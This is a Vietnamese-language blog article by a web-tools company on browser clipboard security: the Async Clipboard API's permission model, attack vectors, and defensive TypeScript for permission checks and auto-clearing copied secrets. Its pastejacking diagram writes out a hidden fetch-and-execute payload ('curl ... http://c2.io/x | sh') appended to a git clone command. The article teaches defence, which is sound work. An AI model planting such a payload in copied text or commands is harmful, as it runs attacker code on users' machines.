← Quay lại blog

Bảo mật Clipboard trình duyệt: Ngăn chặn theo dõi ngầm, chèn mã độc và vét cạn bộ nhớ

PetexSpace

Clipboard của hệ thống là một trong những kênh dữ liệu được sử dụng thường xuyên nhất nhưng lại ít được xem xét kỹ lưỡng nhất trong điện toán hiện đại. Mỗi ngày, người dùng sao chép và dán mật khẩu, mã xác thực hai yếu tố, khóa bí mật mật mã học, số tài khoản tài chính và các đoạn văn bản bảo mật. Do clipboard hoạt động như một bộ đệm hệ điều hành toàn cục được chia sẻ giữa tất cả các tiến trình đang chạy, bất kỳ ứng dụng nào có quyền đọc đều có thể quan sát các payload nhạy cảm.

Trong các trình duyệt web, sự phát triển từ document.execCommand đồng bộ sang Asynchronous Clipboard API hiện đại đã thiết lập các ranh giới bảo mật vững chắc hơn. Tuy nhiên, quyền truy cập clipboard vẫn là mục tiêu hoạt động của nhiều vụ tấn công khai thác bao gồm pastejacking, thay thế địa chỉ tiền mã hóa và theo dõi ngầm trong nền.

Tài liệu kiến trúc này xem xét mô hình bảo mật clipboard của trình duyệt, phân tích các vector tấn công clipboard phổ biến và minh họa cách triển khai các biện pháp bảo vệ bao gồm tự động làm sạch clipboard, kiểm soát phân quyền và dọn dẹp bộ nhớ tạm thời.

+-------------------------------------------------------------------------+
|                  Browser Clipboard Access Architecture                  |
+-------------------------------------------------------------------------+
| [Web Document Window]                                                   |
|       |                                                                 |
|       +---> User Gesture Evaluation (Transient User Activation)         |
|       +---> Permission Query: navigator.permissions.query()             |
|       |                                                                 |
|       v                                                                 |
| [Asynchronous Clipboard API: navigator.clipboard]                      |
|       |                                                                 |
|       +--- writeText(data)  ---> Gated by Active Window Focus           |
|       +--- readText()       ---> Strict User Confirmation Prompt        |
|       |                                                                 |
|       v                                                                 |
| [Operating System Global Clipboard Buffer: OS Memory Layer]             |
|       |                                                                 |
|       +---> Shared across Desktop Apps, Background Daemons, Terminals   |
|       +---> High Risk: Lingering Credentials / Memory Scraping          |
+-------------------------------------------------------------------------+

1. Sự phát triển của quyền truy cập Clipboard trên web: Từ execCommand đến Async Clipboard API

Để hiểu rõ các cơ chế phòng thủ hiện đại của trình duyệt, trước tiên cần nắm được các lỗ hổng bảo mật trong cách xử lý clipboard trước đây.

Các lỗ hổng cố hữu của document.execCommand

Trong quá khứ, các ứng dụng web tương tác với clipboard thông qua document.execCommand('copy') và document.execCommand('paste'). Giao diện này tồn tại ba khiếm khuyết về mặt kiến trúc:

  1. Thực thi đồng bộ (Synchronous Execution): Các thao tác làm nghẽn luồng chính (main thread) của trình duyệt trong khi chờ khóa clipboard của hệ điều hành, gây ra hiện tượng sụt giảm khung hình trong các lần truyền dữ liệu lớn.
  2. Mô hình phân quyền thiếu minh bạch: Trong nhiều phiên bản trình duyệt, execCommand('copy') thực thi mà không có thông báo cấp quyền rõ ràng nếu được kích hoạt bên trong các trình xử lý sự kiện giả lập (synthetic event handlers), cho phép các trang độc hại chèn dữ liệu tùy ý vào clipboard của người dùng.
  3. Các kiểu dữ liệu bị hạn chế: Các API cũ thiếu khả năng đàm phán kiểu MIME mạnh mẽ, chủ yếu giới hạn payload ở dạng văn bản thuần túy và các chuỗi HTML cơ bản.

Asynchronous Clipboard API hiện đại (navigator.clipboard)

Đặc tả W3C Clipboard API and Events đã giới thiệu navigator.clipboard, cung cấp một giao diện non-blocking dựa trên Promise.

Quan trọng hơn, Async Clipboard API áp đặt các ràng buộc bảo mật nghiêm ngặt:

  • Yêu cầu ngữ cảnh an toàn (Secure Context): API chỉ giới hạn trong các ngữ cảnh an toàn (HTTPS và localhost). Các trang tải qua HTTP không mã hóa không thể truy cập navigator.clipboard.
  • Tiêu điểm tài liệu hoạt động (Active Document Focus): Tài liệu phải có tiêu điểm hoạt động (document.hasFocus() === true). Các tab trình duyệt chạy ngầm hoặc iframe ẩn bị cấm đọc hoặc chỉnh sửa nội dung clipboard.
  • Kích hoạt người dùng tạm thời (Transient User Activation): Các thao tác ghi và đọc đòi hỏi tương tác trực tiếp của người dùng (chẳng hạn như sự kiện click, pointerup, hoặc keydown). Các lệnh kích hoạt bằng script giả lập mà không có hành động người dùng sẽ bị từ chối.
+-------------------------------------------------------------------------+
|              Clipboard State Machine & Permission Lifecycle             |
+-------------------------------------------------------------------------+
| [User Click Event]                                                      |
|       |                                                                 |
|       v                                                                 |
| Is Document Focused?  ---(NO)--->  [Reject: DOMException (NotAllowed)]  |
|       |                                                                 |
|     (YES)                                                               |
|       v                                                                 |
| Is Action Read or Write?                                                |
|       |                                                                 |
|       +--- WRITE: Allowed during transient gesture                     |
|       |                                                                 |
|       +--- READ: Query permissions ('clipboard-read')                   |
|                |                                                        |
|                +---> Prompt User ("Allow site to see copied text?")     |
|                +---> If Granted: Return Promise<ClipboardItems>        |
+-------------------------------------------------------------------------+

2. Các vector tấn công: Pastejacking, Cryptojacking và theo dõi ngầm

Dù có những cải tiến về mặt kiến trúc, clipboard vẫn là bề mặt tấn công màu mỡ do thói quen của con người và sự tương tác của các phần mềm ngoại vi.

+-------------------------------------------------------------------------+
|                  Anatomy of a Pastejacking Attack                       |
+-------------------------------------------------------------------------+
| Visual UI in Browser:                                                   |
| $ git clone https://github.com/example/repo.git                         |
|                                                                         |
| Hidden Malicious Payload Copied to Clipboard:                           |
| git clone https://github.com/example/repo.git && curl -s http://c2.io/x|
| | sh\n                                                                  |
|                                                                         |
| Result when Pasted into Terminal:                                       |
| The trailing newline character (\n) executes the malicious payload      |
| immediately before the user can inspect the pasted string.              |
+-------------------------------------------------------------------------+

Cơ chế Pastejacking

Pastejacking xảy ra khi kẻ tấn công lừa người dùng sao chép văn bản trông có vẻ an toàn, trong khi thực tế lại chèn các lệnh độc hại vào clipboard.

Cuộc tấn công này nhắm vào các quản trị viên hệ thống và lập trình viên thường sao chép lệnh từ tài liệu trực tiếp vào terminal. Bằng cách tận dụng các mẹo định vị CSS (opacity: 0, font-size: 0px, hoặc định vị tuyệt đối bên ngoài khung nhìn viewport) hoặc chặn sự kiện DOM copy, trang web sẽ thay thế lệnh trực quan bằng một chuỗi khai thác kết thúc bằng ký tự xuống dòng (\n). Khi được dán vào shell bash, ký tự xuống dòng ở cuối sẽ kích hoạt việc thực thi payload tùy ý ngay lập tức trước khi người dùng kịp kiểm tra chuỗi đã dán.

Thay thế địa chỉ tiền mã hóa (Clipboard Hijacking)

Các giao dịch tiền mã hóa phụ thuộc vào các khóa công khai dạng chữ và số dài (chẳng hạn như 0x71C... hoặc bc1q...). Vì con người không thể ghi nhớ hoặc xác minh chuỗi băm hex 42 ký tự trong nháy mắt, người dùng hầu như luôn sao chép địa chỉ từ ví hoặc trang trình duyệt.

Các tiện ích mở rộng trình duyệt độc hại hoặc phần mềm độc hại chạy ngầm liên tục kiểm tra clipboard của hệ điều hành. Khi một biểu thức chính quy (regex) khớp với mẫu địa chỉ Bitcoin hoặc Ethereum, kẻ tấn công sẽ thay thế địa chỉ người nhận bằng địa chỉ của chính chúng. Nếu người dùng không kiểm tra từng ký tự trước khi xác nhận giao dịch, tiền sẽ bị chuyển vĩnh viễn đến kẻ tấn công.

Mối đe dọa từ việc theo dõi ngầm

Nếu người dùng vô tình cấp quyền clipboard cho một trang web lừa đảo, hoặc nếu một tiện ích mở rộng trình duyệt sở hữu các quyền nâng cao, các đoạn mã script có thể liên tục gọi navigator.clipboard.readText() mỗi khi tab nhận được tiêu điểm. Bằng cách này, mật khẩu tạm thời, chuỗi hạt giống khôi phục (seed phrases) và các đoạn văn bản độc quyền được sao chép trong các ứng dụng máy tính khác có thể bị thu thập và trích xuất trái phép ra bên ngoài.

3. Hệ thống phân quyền và các biện pháp bảo vệ theo từng trình duyệt

Các engine trình duyệt hiện đại xử lý đặc quyền đọc và ghi clipboard bằng các chính sách bảo mật bất đối xứng.

+-------------------------------------------------------------------------+
|                   Clipboard Permission Matrix Comparison                |
+-------------------------------------------------------------------------+
| Action            | User Prompt Required | Gesture Gating Requirement   |
+-------------------+----------------------+------------------------------+
| clipboard-write   | No (Implicit Grant)  | Strict Transient User Gesture|
| clipboard-read    | Yes (Strict Prompt)  | Mandatory User Interaction   |
| Multiple MIME Read| Yes (Strict Prompt)  | Explicit Data Sanitization   |
+-------------------+----------------------+------------------------------+

Phân quyền bất đối xứng giữa Đọc và Ghi

Ghi vào clipboard (clipboard-write) được coi là một hành động có đặc quyền thấp hơn vì nó không trực tiếp làm lộ dữ liệu bí mật hiện có của người dùng. Các trình duyệt lớn (Chromium, Firefox, Safari) ngầm cấp quyền ghi với điều kiện thao tác ghi được gọi trong một cử chỉ người dùng tạm thời thực sự.

Ngược lại, đọc từ clipboard (clipboard-read) sẽ làm lộ bất kỳ dữ liệu bảo mật nào mà người dùng đã sao chép trước đó từ bất kỳ ứng dụng nào trên máy tính của họ. Do đó, các trình duyệt áp dụng hộp thoại xác nhận phân quyền bắt buộc, yêu cầu người dùng xác nhận quyền truy cập đọc.

// Querying clipboard permissions safely before requesting reads
export async function verifyClipboardReadPermission(): Promise<boolean> {
  if (!navigator.permissions) return false;

  try {
    const status = await navigator.permissions.query({ 
      name: 'clipboard-read' as PermissionName 
    });
    return status.state === 'granted';
  } catch {
    // Some browser engines do not support querying 'clipboard-read'
    return false;
  }
}

Chỉ báo quyền riêng tư của hệ điều hành

Các hệ điều hành hiện đại (macOS Sonoma, iOS và Android) đã giới thiệu thông báo toast ở cấp hệ thống mỗi khi một ứng dụng đọc nội dung clipboard. Các biểu ngữ cấp hệ điều hành này chỉ rõ ứng dụng cụ thể và origin trình duyệt bắt nguồn, giúp người dùng nhận biết ngay lập tức nếu một trang web cố tình kiểm tra trái phép.

Làm sạch đa dạng kiểu MIME (Multi-MIME Type Sanitization)

Async Clipboard API hỗ trợ nhiều định dạng thông qua ClipboardItem, xử lý text/plain, text/html và image/png. Khi đọc hoặc ghi các payload HTML, trình duyệt sẽ thực thi các bộ làm sạch nội bộ để loại bỏ các thẻ <script> nhúng, URI dữ liệu base64 và các thuộc tính nguy hiểm (onload, onerror) nhằm ngăn chặn các lỗ hổng chèn DOM đã lưu trữ trong các ứng dụng mục tiêu.

4. Giảm thiểu rủi ro vét cạn bộ nhớ và triển khai tự động hủy nội dung Clipboard

Một trong những rủi ro bảo mật dai dẳng nhất liên quan đến việc sao chép thông tin xác thực nhạy cảm là thời gian tồn tại. Khi người dùng sao chép mật khẩu dùng một lần (TOTP), khóa bí mật hoặc mật khẩu, bí mật đó sẽ tồn tại trong bộ đệm clipboard của hệ điều hành vô thời hạn cho đến khi một dữ liệu khác được sao chép đè lên.

+-------------------------------------------------------------------------+
|            Automated Ephemeral Clipboard Expiration Loop                |
+-------------------------------------------------------------------------+
| [User Clicks "Copy TOTP Code"]                                          |
|       |                                                                 |
|       +---> navigator.clipboard.writeText("849201")                     |
|       +---> UI Displays 30-Second Countdown Indicator                   |
|       |                                                                 |
|       v (After 30 Seconds Elapsed)                                      |
| [Timeout Triggered in Web Page]                                         |
|       |                                                                 |
|       v                                                                 |
| Has Document Focus?                                                     |
|       |                                                                 |
|       +--- (YES) ---> navigator.clipboard.writeText("")                 |
|       |               Clipboard sanitized; secret zeroized from memory. |
|       |                                                                 |
|       +--- (NO)  ---> Queue sanitization for next window 'focus' event. |
+-------------------------------------------------------------------------+

Xóa clipboard theo thời gian

Các ứng dụng yêu cầu mức độ đảm bảo an toàn cao nên triển khai tính năng tự động hủy nội dung clipboard. Bằng cách lập lịch một tác vụ bất đồng bộ để ghi đè lên bộ đệm clipboard sau một khoảng thời gian hợp lý (chẳng hạn từ 30 đến 60 giây), ứng dụng sẽ giảm đáng kể khoảng thời gian rủi ro mà các tiến trình chạy ngầm hoặc các trang web độc hại có thể thu thập bí mật.

// Production utility for self-clearing clipboard interactions
export class SecureClipboardManager {
  private static activeTimeoutId: number | null = null;

  public static async copySensitiveToken(
    token: string, 
    ttlMs: number = 30000,
    onExpired?: () => void
  ): Promise<boolean> {
    if (!navigator.clipboard || !document.hasFocus()) {
      return false;
    }

    try {
      // Write sensitive secret to clipboard
      await navigator.clipboard.writeText(token);

      // Cancel previous scheduled clear if one is active
      if (this.activeTimeoutId !== null) {
        window.clearTimeout(this.activeTimeoutId);
      }

      // Schedule automated sanitization
      this.activeTimeoutId = window.setTimeout(async () => {
        await this.clearClipboardIfFocused();
        this.activeTimeoutId = null;
        if (onExpired) onExpired();
      }, ttlMs);

      return true;
    } catch (err) {
      console.error('Failed to write to clipboard:', err);
      return false;
    }
  }

  private static async clearClipboardIfFocused(): Promise<void> {
    if (document.hasFocus()) {
      try {
        // Overwrite clipboard with empty string
        await navigator.clipboard.writeText('');
      } catch {
        // Ignore background focus rejections
      }
    } else {
      // If window lost focus, clear clipboard as soon as user returns
      const onFocus = async () => {
        window.removeEventListener('focus', onFocus);
        try {
          await navigator.clipboard.writeText('');
        } catch {}
      };
      window.addEventListener('focus', onFocus);
    }
  }
}

5. Trải nghiệm sao chép an toàn trong các tiện ích PetexSpace

Tại PetexSpace, chúng tôi thực thi các nguyên tắc nghiêm ngặt về vệ sinh clipboard và quyền riêng tư dữ liệu trên tất cả các tương tác của người dùng.

+-------------------------------------------------------------------------+
|                  PetexSpace Clipboard Privacy Guarantees                |
+-------------------------------------------------------------------------+
| Zero Background Snooping       ---> NEVER calls clipboard.readText()    |
|                                     without explicit user request       |
| Transparent One-Click Copy     ---> Direct transient activation only    |
| Minimal Lifespan Exposure      ---> Temporary tokens cleared promptly   |
| Zero Clipboard Telemetry       ---> Never transmits copied strings to   |
|                                     external network endpoints          |
+-------------------------------------------------------------------------+

Các nguyên tắc kiến trúc

  1. Tuyệt đối từ chối việc đọc clipboard thụ động: Các tiện ích của PetexSpace không bao giờ thăm dò hoặc kiểm tra bộ đệm clipboard trong nền. Khi phân tích văn bản, người dùng dán dữ liệu trực tiếp vào các ô nhập liệu cục bộ mà không bị theo dõi lén lút.
  2. Trải nghiệm phản hồi rõ ràng: Khi một mã được sao chép trong công cụ tạo mã 2FA trên trình duyệt của chúng tôi, giao diện người dùng sẽ cung cấp các chỉ báo trạng thái trực quan ngay lập tức mà không lưu trữ bí mật trong nhật ký cố định hay các pipeline phân tích dữ liệu.
  3. Phân tích văn bản cục bộ: Các công cụ đếm ký tự và định dạng, chẳng hạn như công cụ phân tích văn bản không theo dõi clipboard, xử lý các chuỗi đầu vào trực tiếp trong bộ nhớ trình duyệt cục bộ, đảm bảo các bản nháp bí mật không bao giờ bị lộ qua các socket mạng.

Danh mục kiểm tra các phương pháp bảo mật tốt nhất cho kỹ sư

  • [ ] Đảm bảo tất cả các thao tác ghi clipboard đều gắn liền trực tiếp với các hành động nhấp chuột hoặc nhấn phím thực tế của người dùng.
  • [ ] Không bao giờ yêu cầu quyền clipboard-read trừ khi người dùng chủ động nhấp vào nút "Dán" chuyên dụng.
  • [ ] Đối với mã xác thực, khóa khôi phục hoặc mật khẩu, hãy triển khai các quy trình hủy theo thời gian để ghi đè clipboard sau 30 đến 60 giây.
  • [ ] Xử lý các thay đổi tiêu điểm cửa sổ một cách linh hoạt để việc dọn sạch clipboard được thực thi đáng tin cậy khi người dùng quay lại tab.
  • [ ] Làm sạch các payload HTML đa MIME để loại bỏ các thẻ script nội tuyến và các thuộc tính xử lý sự kiện nguy hiểm.

Khám phá mô hình thiết kế ưu tiên quyền riêng tư trên toàn bộ bộ công cụ của chúng tôi: tạo mã vạch chuẩn ISO an toàn, chuyển đổi tài liệu bằng công cụ chuyển đổi tệp trên trình duyệt, trích xuất ký tự với OCR trên trình duyệt, hoặc xử lý đồ họa bảo mật bằng các công cụ hình ảnh bảo vệ quyền riêng tư.

CryptographyXác thựcSecurity

Kiến trúc của Mật khẩu Một lần Dựa trên Thời gian: Khám phá RFC 6238 và Cơ chế Tạo HMAC

Phân tích toán học và giao thức toàn diện về Mật khẩu Một lần Dựa trên Thời gian (TOTP) theo chuẩn RFC 6238, khám phá kỹ thuật dynamic truncation, bộ đếm bước HMAC-SHA1, xử lý lệch đồng hồ và thực thi an toàn ngay trên trình duyệt.

PetexSpace
CryptographyData EncodingMã QR

Giải phẫu mã QR: Cơ chế sửa lỗi Reed-Solomon và mã hóa ma trận

Khám phá chuyên sâu về mặt toán học của mã QR chuẩn ISO/IEC 18004, phân tích chi tiết số học trường Galois GF(2^8), đa thức sinh, cơ chế sửa lỗi Reed-Solomon và kỹ thuật kết xuất ma trận ngay trên trình duyệt.

PetexSpace
CryptographyWeb CryptoSecurity

Tính ngẫu nhiên mật mã học trong trình duyệt: Math.random so với crypto.getRandomValues

Nghiên cứu chuyên sâu về kiến trúc giữa bộ tạo số giả ngẫu nhiên (PRNG) và bộ tạo số giả ngẫu nhiên an toàn về mặt mật mã (CSPRNG) trong môi trường runtime trình duyệt, phân tích chi tiết xorshift128+, các cuộc tấn công tái tạo trạng thái và Web Cryptography API.

PetexSpace
CryptographyData EncodingBase32

So sánh Base32 và Base64: Khác biệt cấu trúc, quy tắc đệm và ứng dụng mật mã học

Đặc tả kỹ thuật chuyên sâu về các chuẩn mã hóa nhị phân sang văn bản theo RFC 4648, đối chiếu cơ chế đóng gói bitwise, ma trận đệm (padding), tính công thái học của bảng chữ cái và quá trình thực thi trực tiếp trên trình duyệt giữa Base32 và Base64.

PetexSpace